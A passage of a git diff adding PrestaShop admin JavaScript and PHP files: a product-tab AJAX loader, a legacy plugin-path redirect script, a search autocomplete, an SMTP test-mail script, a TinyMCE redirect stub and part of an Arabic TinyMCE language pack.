is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Handles loading of product tabs + */ +function ProductTabsManager(){ + var self = this; + this.product_tabs = []; + this.current_request; + this.stack_error = []; + this.page_reloading = false; + + this.setTabs = function(tabs){ + this.product_tabs = tabs; + } + + /** + * Schedule execution of onReady() function for each tab and bind events + */ + this.init = function(){ + for (var tab_name in this.product_tabs) + { + if (this.product_tabs[tab_name].onReady !== undefined) + this.onLoad(tab_name, this.product_tabs[tab_name].onReady); + } + + // @see with tDidierjean + //$(document).bind('change', function(){ + // if (self.current_request) + // { + // self.current_request.abort(); + // } + //}); + + $('.shopList.chzn-done').bind('change', function(){ + if (self.current_request) + { + self.page_reloading = true; + self.current_request.abort(); + } + }); + + $(window).bind('beforeunload', function() { + self.page_reloading = true; + }); + } + + /** + * Execute a callback function when a specific tab has finished loading or right now if the tab has already loaded + * + * @param tab_name name of the tab that is checked for loading + * @param callback_function function to call + */ + this.onLoad = function (tab_name, callback) + { + var container = $('#product-tab-content-' + tab_name); + // Some containers are not loaded depending on the shop configuration + if (container.length === 0) + return; + + // onReady() is always called after the dom has been created for the tab (similar to $(document).ready()) + if (container.hasClass('not-loaded')) + container.bind('loaded', callback); + else + callback(); + } + + /** + * Get a single tab or recursively get tabs in stack then display them + * + * @param string tab_name name of the tab + * @param boolean selected is the tab selected + */ + this.display = function (tab_name, selected) + { + var tab_selector = $("#product-tab-content-"+tab_name); + + // Is the tab already being loaded? + if (!tab_selector.hasClass('not-loaded') || tab_selector.hasClass('loading')) + return; + + // Mark the tab as being currently loading + tab_selector.addClass('loading'); + + if (selected) + $('#product-tab-content-wait').show(); + + // send $_POST array with the request to be able to retrieve posted data if there was an error while saving product + var data; + if (save_error) + { + data = post_data; + // set key_tab so that the ajax call returns the display for the current tab + data.key_tab = tab_name; + } + + return $.ajax({ + url : $('#link-'+tab_name).attr("href")+"&ajax=1" + '&rand=' + new Date().getTime(), + async : true, + cache: false, // cache needs to be set to false or IE will cache the page with outdated product values + type: 'POST', + headers: { "cache-control": "no-cache" }, + data: data, + success : function(data) + { + tab_selector.html(data); + tab_selector.removeClass('not-loaded'); + + if (selected) + { + $("#link-"+tab_name).addClass('selected'); + tab_selector.show(); + } + tab_selector.trigger('loaded'); + }, + complete : function(data) + { + tab_selector.removeClass('loading'); + if (selected) + { + $('#product-tab-content-wait').hide(); + tab_selector.trigger('displayed'); + } + }, + beforeSend : function(data) + { + // don't display the loading notification bar + if (typeof(ajax_running_timeout) !== 'undefined') + clearTimeout(ajax_running_timeout); + } + }); + } + + /** + * Send an ajax call for each tab in the stack, binding each call to the "complete" event of the previous call + * + * @param array stack contains tab names as strings + */ + this.displayBulk = function(stack){ + this.current_request = this.display(stack[0], false); + + if (this.current_request !== undefined) + { + this.current_request.complete(function(request, status) { + if (status === 'abort' || status === 'error') + self.stack_error.push(stack.shift()); + else + stack.shift() + if (stack.length !== 0 && status !== 'abort') + { + self.displayBulk(stack); + } + else if (self.stack_error.length !== 0 && !self.page_reloading) + { + jConfirm(reload_tab_description, reload_tab_title, function(confirm) { + if (confirm === true) + { + self.displayBulk(self.stack_error.slice(0)); + self.stack_error = []; + } + else + return false; + }); + } + }); + } + } +} \ No newline at end of file diff --git a/js/retro-compat.js.php b/js/retro-compat.js.php new file mode 100755 index 0000000..33aee8c --- /dev/null +++ b/js/retro-compat.js.php @@ -0,0 +1,87 @@ + + array('new_file' => $plugins_folder.'ajaxfileupload/jquery.ajaxfileupload.js', 'name' => 'ajaxfileupload'), + 'jquery-colorpicker.js' => + array('new_file' => $plugins_folder.'jquery.colorpicker.js', 'name' => 'colorpicker'), + 'jquery.cluetip.js' => + array('new_file' => $plugins_folder.'cluetip/jquery.cluetip.js', 'name' => 'cluetip'), + 'jquery-fieldselection.js' => + array('new_file' => $plugins_folder.'jquery.fieldselection.js', 'name' => 'fieldselection'), + 'jquery.dimensions.js' => + array('new_file' => $plugins_folder.'jquery.dimensions.js', 'name' => 'dimensions'), + 'jquery.idTabs.modified.js' => + array('new_file' => $plugins_folder.'jquery.idTabs.js', 'name' => 'idTabs'), + 'jquery.pngFix.pack.js' => + array('new_file' => $plugins_folder.'jquery.pngFix.js', 'name' => 'pngFix'), + 'thickbox-modified.js' => + array('new_file' => $plugins_folder.'thickbox/jquery.thickbox.js', 'name' => 'thickbox'), + 'excanvas.min.js' => + array('new_file' => $plugins_folder.'jquery.excanvas.js', 'name' => 'excanvas'), + 'jquery-typewatch.pack.js' => + array('new_file' => $plugins_folder.'jquery.typewatch.js', 'name' => 'typewatch'), + 'jquery.easing.1.3.js' => + array('new_file' => $plugins_folder.'jquery.easing.js', 'name' => 'easing'), + 'jquery.jgrowl-1.2.1.min.js' => + array('new_file' => $plugins_folder.'jquery.jgrowl.js', 'name' => 'jgrowl'), + 'jquery.scrollTo-1.4.2-min.js' => + array('new_file' => $plugins_folder.'jquery.scrollTo.js', 'name' => 'scrollTo'), + 'jqminmax-compressed.js' => + array('new_file' => $plugins_folder.'jquery.jqminmax.js', 'name' => 'jqminmax'), + 'jquery.fancybox-1.3.4.js' => + array('new_file' => $plugins_folder.'fancybox/jquery.fancybox.js', 'name' => 'fancybox'), + 'jquery.jqzoom.js' => + array('new_file' => $plugins_folder.'jquery.jqzoom.js', 'name' => 'jqzoom'), + 'jquery.serialScroll-1.2.2-min.js' => + array('new_file' => $plugins_folder.'jquery.serialScroll.js', 'name' => 'serialScroll'), + 'ifxtransfer.js' => + array('new_file' => $plugins_folder.'jquery.ifxtransfer.js', 'name' => 'ifxtransfer'), + 'jquery.autocomplete.js' => + array('new_file' => $plugins_folder.'autocomplete/jquery.autocomplete.js', 'name' => 'autocomplete'), + 'jquery.flot.min.js' => + array('new_file' => $plugins_folder.'jquery.flot.js', 'name' => 'flot'), + 'jquery.tablednd_0_5.js' => + array('new_file' => $plugins_folder.'jquery.tablednd.js', 'name' => 'tablednd'), + 'jquery.hoverIntent.minified.js' => + array('new_file' => $plugins_folder.'jquery.hoverIntent.js', 'name' => 'hoverIntent'), + 'jquery-ui-1.8.10.custom.min.js' => + array('new_file' => __DIR__.'/jquery/jquery-ui.will.be.removed.in.1.6.js', 'name' => ''), + 'jquery.treeview.async.js' => + array('new_file' => $plugins_folder.'treeview-categories/jquery.treeview-categories.async.js', 'name' => 'treeview-categories.async'), + 'jquery.treeview.edit.js' => + array('new_file' => $plugins_folder.'treeview-categories/jquery.treeview-categories.edit.js', 'name' => 'treeview-categories.edit'), + 'jquery.treeview.js' => + array('new_file' => $plugins_folder.'treeview-categories/jquery.treeview-categories.js', 'name' => 'treeview-categories'), + 'jquery.treeview.sortable.js' => + array('new_file' => $plugins_folder.'treeview-categories/jquery.treeview-categories.sortable.js', 'name' => 'treeview-categories.sortable'), + 'tabpane.js' => + array('new_file' => $plugins_folder.'tabpane/jquery.tabpane.js', 'name' => 'tabpane'), +); + + +$file = $_GET['file']; +if (!array_key_exists($file, $plugins)) //check if file is a real prestashop native JS +{ + die('file_not_found'); +} +else if ($file == 'jquery-ui-1.8.10.custom.min.js') //jquery-ui cannot be call directly, now to include query UI, use Media::addJqueryUI('component_name'); +{ + $html = '$(document).ready( function () { + '.(_PS_MODE_DEV_ ? 'if (!$.browser.msie)console.log(\'MODE DEV : This file : "jquery-ui-1.8.10.custom.min.js" cannot be call directly please use Media::addJqueryUI("component_name") \')' : '').' + });'; + $html .= file_get_contents($plugins[$file]['new_file']); +} +else +{ + $html = '$(document).ready( function () { + '.(_PS_MODE_DEV_ ? 'if (!$.browser.msie)console.log(\'MODE DEV : This file : "'.$file.'" has been moved to this folder '.$plugins[$file]['new_file'].' To include this plugin use Media::addJqueryPlugin("'.$plugins[$file]['name'].'")\')' : '').' + });'; + $html .= file_get_contents($plugins[$file]['new_file']); +} +echo $html ; \ No newline at end of file diff --git a/js/search.js b/js/search.js new file mode 100755 index 0000000..f90ed29 --- /dev/null +++ b/js/search.js @@ -0,0 +1,144 @@ +$(document).ready(function(){ + + var that = this; + that.AjaxCurrent = []; + that.language = { + "NO_RESULT": "Aucun resultat", + "ERROR": "Une erreur est survenue" + } + + that.completeObject = function(object) + { + //EXEMPLE + if(object.action == 'getProducts') { + + } + + return object; + } + + $('body').on('click', function(e){ + + var target = $( e.target ); + if ( target.is( 'li.input-search-result' ) + || target.is('.input-search-js')) { + return; + } + + $('.searchResult').hide(); + }); + + $('.input-search-js').each(function(){ + + var object = {}; + object.urlAjax = searchUrl; + object.id = $(this).attr('id'); + object.$input = $(this); + object.$idContentResultList = $('#content-result-list-'+object.id); + object.$idContentSelected = $('#content-selected-'+object.id); + object.action = object.$input.data('action'); + object.typeDisplay = object.action; + object.currentAjax = null; + object.data_query = {}; + object.inputNameElement = 'input-'+object.id+'[]'; + object.classNameElement = 'class-'+object.id; + object.keys = []; + object = that.completeObject(object); + + if(object.$idContentResultList.size() == 0) + console.log('#content-result-list-'+object.id+' not exist'); + + if(object.$idContentSelected.size() == 0) + console.log('#content-selected-'+object.id+' not exist'); + + object.$idContentResultList.on('click', 'li', function(){ + object.addKey($(this).data('id'), $(this).html()); + object.$idContentResultList.html(''); + object.$input.val('').focus(); + }); + + object.$idContentSelected.on('click', 'li .removeItem', function(){ + object.removeKey($(this).parent().data('id')); + }); + + object.$idContentSelected.find('li').each(function(){ + var id = $(this).data('id') + object.keys[id] = id; + }); + + object.addKey = function(id, html){ + if(typeof(object.keys[id]) == 'undefined') { + var content = ''; + content += '
  • '+html+'
  • '; + + object.$idContentSelected.append(content); + object.keys[id] = id; + } + }; + + object.removeKey = function(id){ + if(typeof(object.keys[id]) != 'undefined') { + object.$idContentSelected.find('input[name="'+object.inputNameElement+'"][value='+id+']').remove(); + object.$idContentSelected.find('.'+object.classNameElement+'[data-id='+id+']').remove(); + + object.keys[id] = undefined; + } + }; + + $(this).on('click keyup keydown', function(){ + $('.searchResult').show(); + + that.loadElem(object, $(this).val()); + }); + }); + + that.loadElem = function(object, filter) + { + if(filter == '') + return; + + if(typeof(that.AjaxCurrent[object.id]) == 'undefined') { + that.AjaxCurrent[object.id] = null; + } + + if(that.AjaxCurrent[object.id] !== null) + that.AjaxCurrent[object.id].abort(); + + datas = { + "q": filter, + "ajax": 1, + "action": object.action + }; + + if(typeof(datas_) != 'undefined') + datas = $.extend( datas, object.data_query ); + + that.AjaxCurrent[object.id] = $.ajax({ + type: 'POST', + url: object.urlAjax, + dataType : "json", + data : datas, + success:function(data){ + var list = data.results; + var content = ''; + if(typeof(list) != 'undefined' && list !== false) { + content += '
      '; + for(var g = 0; g < list.length; g++) { + var elem = list[g]; + content += '
    • '+elem.content+'
    • '; + } + content += '
    '; + } + else { + content += that.language.NO_RESULT; + } + $(object.$idContentResultList).html(content); + }, + error: function(XMLHttpRequest, textStatus, errorThrown){ + if (textStatus != "abort") { + $(object.$idContentResultList).html('
    '+that.language.ERROR+'
    '); + } + } + }); + } +}); \ No newline at end of file diff --git a/js/sendMailTest.js b/js/sendMailTest.js new file mode 100755 index 0000000..ad2b164 --- /dev/null +++ b/js/sendMailTest.js @@ -0,0 +1,85 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +//constant +verifMailREGEX = /^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/; + +function verifyMail(testMsg, testSubject) +{ + $("#mailResultCheck").removeClass("ok").removeClass('fail').html(''); + $("#mailResultCheck").slideDown("slow"); + + //local verifications + if ($("#testEmail[value=]").length > 0) + { + $("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(errorMail); + return false; + } + else if (!verifMailREGEX.test( $("#testEmail").val() )) + { + $("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(errorMail); + return false; + } + else + { + //external verifications and sets + $.ajax( + { + url: "index.php", + cache: false, + type : "POST", + data: + { + "mailMethod" : (($("input[name=PS_MAIL_METHOD]:checked").val() == 2) ? "smtp" : "native"), + "smtpSrv" : $("input[name=PS_MAIL_SERVER]").val(), + "testEmail" : $("#testEmail").val(), + "smtpLogin" : $("input[name=PS_MAIL_USER]").val(), + "smtpPassword" : $("input[name=PS_MAIL_PASSWD]").val(), + "smtpPort" : $("input[name=PS_MAIL_SMTP_PORT]").val(), + "smtpEnc" : $("select[name=PS_MAIL_SMTP_ENCRYPTION]").val(), + "testMsg" : textMsg, + "testSubject" : textSubject, + "token" : token_mail, + "ajax" : 1, + "tab" : 'AdminEmails', + "action" : 'sendMailTest' + }, + success: function(ret) + { + if (ret == "ok") + { + $("#mailResultCheck").addClass("ok").removeClass("fail").removeClass('userInfos').html(textSendOk); + mailIsOk = true; + } + else + { + mailIsOk = false; + $("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(textSendError + '
    ' + ret); + } + } + } + ); + } +} diff --git a/js/tiny_mce/index.php b/js/tiny_mce/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/langs/ar.js b/js/tiny_mce/langs/ar.js new file mode 100755 index 0000000..0efcb51 --- /dev/null +++ b/js/tiny_mce/langs/ar.js @@ -0,0 +1 @@ +tinyMCE.addI18n({ar:{common:{"more_colors":"\u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0644\u0648\u0627\u0646","invalid_data":"\u062e\u0637\u0623.: \u062a\u0645 \u0625\u062f\u062e\u0627\u0644 \u0642\u064a\u0645 \u063a\u064a\u0631 \u0635\u062d\u064a\u062d\u0647 \u060c \u0647\u0630\u0647 \u0627\u0644\u0642\u064a\u0645 \u0628\u0627\u0644\u0644\u0648\u0646 \u0627\u0644\u0627\u062d\u0645\u0631","popup_blocked":"\u0639\u0630\u0631\u0627 \u060c\u0625\u062f\u0627\u0631\u0629 \u0639\u0631\u0636 \u0627\u0644\u0646\u0648\u0641\u0630 \u0627\u0644\u0645\u0646\u0628\u062b\u0642\u0647 \u0627\u0648\u0642\u0641\u062a \u0646\u0627\u0641\u0630\u0647 \u062a\u0648\u0641\u0631 \u062e\u062f\u0645\u0647 \u0645\u0646 \u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c . \u064a\u062c\u0628 \u0627\u0644\u0633\u0645\u0627\u062d \u0644\u0644\u0646\u0648\u0627\u0641\u0630 \u0627\u0644\u0645\u0646\u0628\u062b\u0642\u0647 \u0644\u0643\u0649 \u064a\u0639\u0645\u0644 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u0628\u0643\u0641\u0627\u0626\u0647.","clipboard_no_support":"\u062d\u0627\u0644\u064a\u0627 \u063a\u064a\u0631 \u0645\u0639\u062a\u0645\u062f\u0629 \u0645\u0646 \u0642\u0628\u0644 \u0627\u0644\u0645\u062a\u0635\u0641\u062d \u0627\u0644\u062e\u0627\u0635 \u0628\u0643 \u060c \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u062e\u062a\u0635\u0627\u0631\u0627\u062a \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0628\u062f\u0644\u0627 \u0645\u0646 \u0630\u0644\u0643.","clipboard_msg":"\u0646\u0633\u062e / \u0642\u0635 / \u0644\u0635\u0642 \u063a\u064a\u0631 \u0645\u062a\u0648\u0641\u0631 \u0641\u064a \u0645\u0648\u0632\u064a\u0644\u0627 \u0648\u0641\u0627\u064a\u0631\u0641\u0648\u0643\u0633.\n\u062a\u0631\u064a\u062f \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062d\u0648\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629\u061f","not_set":"-- Not set --","class_name":"\u0627\u0644\u062f\u0631\u062c\u0629",browse:"\u062a\u0635\u0641\u062d",close:"\u0625\u063a\u0644\u0627\u0642",cancel:"\u0625\u0644\u063a\u0627\u0621",update:"\u062a\u062d\u062f\u064a\u062b",insert:"\u0625\u062f\u0631\u0627\u062c",apply:"\u062a\u0637\u0628\u064a\u0642","edit_confirm":"\u0647\u0644 \u062a\u0631\u063a\u0628 \u0641\u0649 \u0625\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0630\u0647 \u0627\u0644\u0645\u0633\u0627\u062d\u0647 \u0643\u0640\u0640 WYSIWYG\u061f","invalid_data_number":"{#field} \u064a\u062c\u0628 \u0627\u0646 \u064a\u0643\u0648\u0646 \u0631\u0642\u0645","invalid_data_min":"{#field} \u064a\u062c\u0628 \u0627\u0646 \u062a\u0643\u0648\u0646 \u0631\u0642\u0645 \u0627\u0643\u0628\u0631 \u0645\u0646 {#min}","invalid_data_size":"{#field} \u064a\u062c\u0628 \u0627\u0646 \u062a\u0643\u0648\u0646 \u0631\u0642\u0645 \u0627\u0648 \u0646\u0633\u0628\u0647 \u0645\u0626\u0648\u064a\u0647",value:"(\u0627\u0644\u0642\u064a\u0645\u0629)"},contextmenu:{full:"\u0643\u0627\u0645\u0644",right:"\u0627\u0644\u062d\u0642",center:"\u0645\u0631\u0643\u0632",left:"\u0628\u0642\u064a",align:"\u0645\u062d\u0627\u0630\u0627\u0629"},insertdatetime:{"day_short":"\u0627\u0644\u0623\u062d\u062f,\u0627\u0644\u0627\u062b\u0646\u064a\u0646,\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621,\u0627\u0644\u0627\u0631\u0628\u0639\u0627\u0621,\u0627\u0644\u062e\u0645\u064a\u0633,\u0627\u0644\u062c\u0645\u0639\u0629,\u0627\u0644\u0633\u0628\u062a,\u0627\u0644\u0623\u062d\u062f","day_long":"\u0627\u0644\u0623\u062d\u062f \u060c \u0627\u0644\u0627\u062b\u0646\u064a\u0646 \u060c \u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621 \u060c \u0627\u0644\u0627\u0631\u0628\u0639\u0627\u0621 \u060c \u0627\u0644\u062e\u0645\u064a\u0633 \u060c \u0627\u0644\u062c\u0645\u0639\u0629 \u060c \u0627\u0644\u0633\u0628\u062a \u060c \u0627\u0644\u0623\u062d\u062f","months_short":"\u064a\u0646\u0627\u064a\u0631,\u0641\u0628\u0631\u0627\u064a\u0631,\u0645\u0627\u0631\u0633,\u0623\u0628\u0631\u064a\u0644,\u0645\u0627\u064a\u0648,\u064a\u0648\u0646\u064a\u0648,\u064a\u0648\u0644\u064a\u0648,\u0623\u063a\u0633\u0637\u0633,\u0633\u0628\u062a\u0645\u0628\u0631,\u0623\u0643\u062a\u0648\u0628\u0631,\u0646\u0648\u0641\u0645\u0628\u0631,\u062f\u064a\u0633\u0645\u0628\u0631","months_long":"\u064a\u0646\u0627\u064a\u0631,\u0641\u0628\u0631\u0627\u064a\u0631,\u0622\u0630\u0627\u0631/\u0645\u0627\u0631\u0633,\u0646\u064a\u0633\u0627\u0646/\u0627\u0628\u0631\u064a\u0644,\u0623\u064a\u0627\u0631/\u0645\u0627\u064a\u0648,\u062d\u0632\u064a\u0631\u0627\u0646/\u064a\u0648\u0646\u064a\u0648,\u062a\u0645\u0648\u0632/\u064a\u0648\u0644\u064a\u0648,\u0622\u0628/\u0627\u063a\u0633\u0637\u0633,\u0623\u064a\u0644\u0648\u0644/\u0633\u0628\u062a\u0645\u0628\u0631,\u0623\u0643\u062a\u0648\u0628\u0631,\u0646\u0648\u0641\u0645\u0628\u0631,\u062f\u064a\u0633\u0645\u0628\u0631","inserttime_desc":"\u0627\u062f\u0631\u0627\u062c \u0627\u0644\u0648\u0642\u062a","insertdate_desc":"\u0627\u062f\u0631\u0627\u062c \u0627\u0644\u062a\u0627\u0631\u064a\u062e","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u0637\u0628\u0627\u0639\u0629"},preview:{"preview_desc":"\u0645\u0639\u0627\u064a\u0646\u0629"},directionality:{"rtl_desc":"\u0627\u0644\u0627\u062a\u062c\u0627\u0647 \u0645\u0646 \u0627\u0644\u064a\u0645\u064a\u0646 \u0644\u0644\u064a\u0633\u0627\u0631","ltr_desc":"\u0627\u0644\u0627\u062a\u062c\u0627\u0647 \u0645\u0646 \u0627\u0644\u064a\u0633\u0627\u0631 \u0627\u0644\u0649 \u0627\u0644\u064a\u0645\u064a\u0646"},layer:{content:"\u0637\u0628\u0642\u0647 \u062c\u062f\u064a\u062f\u0647 ...","absolute_desc":"\u062c\u0639\u0644 \u0627\u0644\u0637\u0628\u0642\u0647 \u062d\u0631\u0647","backward_desc":"\u0646\u0642\u0644 \u0644\u0644\u062e\u0644\u0641","forward_desc":"\u0646\u0642\u0644 \u0644\u0644\u0627\u0645\u0627\u0645","insertlayer_desc":"\u0625\u062f\u0631\u0627\u062c \u0637\u0628\u0642\u0629 \u062c\u062f\u064a\u062f\u0629"},save:{"save_desc":"\u062d\u0641\u0638","cancel_desc":"\u0625\u0644\u063a\u0627\u0621 \u0643\u0627\u0641\u0629 \u0627\u0644\u062a\u063a\u064a\u064a\u0631\u0627\u062a"},nonbreaking:{"nonbreaking_desc":"\u0625\u062f\u0631\u0627\u062c \u062d\u0631\u0641 \u0645\u0633\u0627\u0641\u0629 \u063a\u064a\u0631 \u0645\u0646\u0642\u0633\u0645\u0629"},iespell:{download:"\u0627\u0644\u0645\u062f\u0642\u0642 \u0627\u0644\u0627\u0645\u0644\u0627\u0626\u0649 \u063a\u064a\u0631 \u0645\u0631\u0643\u0628 \u0647\u0644 \u062a\u0631\u064a\u062f \u062a\u0631\u0643\u064a\u0628\u0647 \u0627\u0644\u0627\u0646","iespell_desc":"\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0645\u062f\u0642\u0642 \u0627\u0644\u0627\u0645\u0644\u0627\u0626\u0649"},advhr:{"advhr_desc":"\u0645\u0633\u0637\u0631\u0647 \u0627\u0641\u0642\u064a\u0647","delta_height":"","delta_width":""},emotions:{"delta_height":"","delta_width":"","emotions_desc":"\u0627\u0644\u0631\u0633\u0648\u0645 \u0627\u0644\u062a\u0639\u0628\u064a\u0631\u064a\u0647"},searchreplace:{"replace_desc":"\u0628\u062d\u062b/\u0627\u0633\u062a\u0628\u062f\u0627\u0644","delta_width":"\u0627\u0644\u062a\u063a\u064a\u0631 \u0641\u0649 \u0627\u0644\u0639\u0631\u0636","delta_height":"\u0627\u0644\u062a\u063a\u064a\u0631 \u0641\u0649 \u0627\u0644\u0625\u0631\u062a\u0641\u0627\u0639","search_desc":"\u0628\u062d\u062b"},advimage:{"image_desc":"\u0627\u0636\u0641/\u0639\u062f\u0644 \u0635\u0648\u0631\u0647","delta_width":"","delta_height":""},advlink:{"link_desc":"\u0627\u0636\u0641/\u0639\u062f\u0644 \u0631\u0627\u0628\u0637","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u0627\u0636\u0641/\u0639\u062f\u0644 \u062e\u0627\u0635\u064a\u0647","ins_desc":"\u0627\u0644\u0625\u0636\u0627\u0641\u0647","del_desc":"\u0627\u0644\u062d\u0630\u0641","acronym_desc":"Acronym","abbr_desc":"Abbreviation","cite_desc":"Citation","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{"delta_height":"","delta_width":"",desc:"Edit CSS Style"},paste:{"plaintext_mode":"\u0644\u0635\u0642 \u0627\u0644\u0622\u0646 \u0641\u064a \u0648\u0636\u0639 \u0627\u0644\u0646\u0635 \u0627\u0644\u0639\u0627\u062f\u064a. \u0627\u0646\u0642\u0631 \u0645\u0631\u0629 \u0623\u062e\u0631\u0649 \u0644\u0644\u062a\u0628\u062f\u064a\u0644 \u0625\u0644\u0649 \u0627\u0644\u0648\u0636\u0639 \u0644\u0635\u0642 \u0627\u0644\u0639\u0627\u062f\u064a\u0629.","plaintext_mode_sticky":"\u0644\u0635\u0642 \u0627\u0644\u0622\u0646 \u0641\u064a \u0648\u0636\u0639 \u0627\u0644\u0646\u0635 \u0627\u0644\u0639\u0627\u062f\u064a. \u0627\u0646\u0642\u0631 \u0645\u0631\u0629 \u0623\u062e\u0631\u0649 \u0644\u0644\u062a\u0628\u062f\u064a\u0644 \u0625\u0644\u0649 \u0627\u0644\u0648\u0636\u0639 \u0644\u0635\u0642 \u0627\u0644\u0639\u0627\u062f\u064a\u0629. \u0648\u0628\u0639\u062f \u0644\u0635\u0642 \u0634\u064a\u0621 \u064a\u062a\u0645 \u0625\u0631\u062c\u0627\u0639 \u0625\u0644\u0649 \u0648\u0636\u0639 \u0644\u0635\u0642 \u0627\u0644\u0639\u0627\u062f\u064a\u0629","selectall_desc":"\u062d\u062f\u062f \u0643\u0627\u0641\u0629","paste_word_desc":"\u0644\u0635\u0642 \u0645\u0646 \u0648\u0648\u0631\u062f","paste_text_desc":"\u0644\u0635\u0642 \u0643\u0646\u0635 \u0639\u0627\u062f\u064a"},"paste_dlg":{"word_title":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0644\u0644\u0635\u0642 \u0627\u0644\u0646\u0635 \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631.( CTRL+V )","text_linebreaks":"\u0627\u062d\u062a\u0641\u0638 \u0628\u0641\u0648\u0627\u0635\u0644 \u0627\u0644\u0623\u0633\u0637\u0631","text_title":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0644\u0644\u0635\u0642 \u0627\u0644\u0646\u0635 \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631.( CTRL+V )"},table:{"merge_cells_delta_height":"0","merge_cells_delta_width":"0","table_delta_height":"0","table_delta_width":"0","cellprops_delta_height":"0","cellprops_delta_width":"0","rowprops_delta_height":"0","rowprops_delta_width":"0",cell:"\u062e\u0644\u064a\u0629",col:"\u0639\u0627\u0645\u0648\u062f",row:"\u0635\u0641",del:"\u062d\u0630\u0641 \u062c\u062f\u0648\u0644","copy_row_desc":"\u0646\u0633\u062e \u0635\u0641 \u0645\u0646 \u062c\u062f\u0648\u0644","cut_row_desc":"\u0642\u0635 \u0635\u0641 \u0645\u0646 \u062c\u062f\u0648\u0644","paste_row_after_desc":"\u0644\u0635\u0642 \u0635\u0641 \u0627\u0644\u062c\u062f\u0648\u0644 \u0628\u0639\u062f","paste_row_before_desc":"\u0644\u0635\u0642 \u0635\u0641 \u0627\u0644\u062c\u062f\u0648\u0644 \u0642\u0628\u0644","props_desc":"\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u062c\u062f\u0648\u0644","cell_desc":"\u062e\u0635\u0627\u0626\u0635 \u062e\u0644\u064a\u0629 \u0645\u0646 \u0627\u0644\u062c\u062f\u0648\u0644","row_desc":"\u062e\u0635\u0627\u0626\u0635 \u0635\u0641 \u0645\u0646 \u0627\u0644\u062c\u062f\u0648\u0644","merge_cells_desc":"\u062f\u0645\u062c \u062e\u0644\u0627\u064a\u0627 \u062c\u062f\u0648\u0644","split_cells_desc":"\u0627\u0646\u0642\u0633\u0627\u0645 \u062e\u0644\u0627\u064a\u0627 \u0627\u0644\u062c\u062f\u0648\u0644 \u0627\u0644\u0645\u062f\u0645\u062c\u0629","delete_col_desc":"\u0625\u0632\u0627\u0644\u0629 \u0639\u0645\u0648\u062f","col_after_desc":"\u0625\u062f\u0631\u0627\u062c \u0639\u0645\u0648\u062f \u0628\u0639\u062f","col_before_desc":"\u0625\u062f\u0631\u0627\u062c \u0639\u0645\u0648\u062f \u0642\u0628\u0644","delete_row_desc":"\u062d\u0630\u0641 \u0635\u0641","row_after_desc":"\u0625\u062f\u0631\u0627\u062c \u0635\u0641 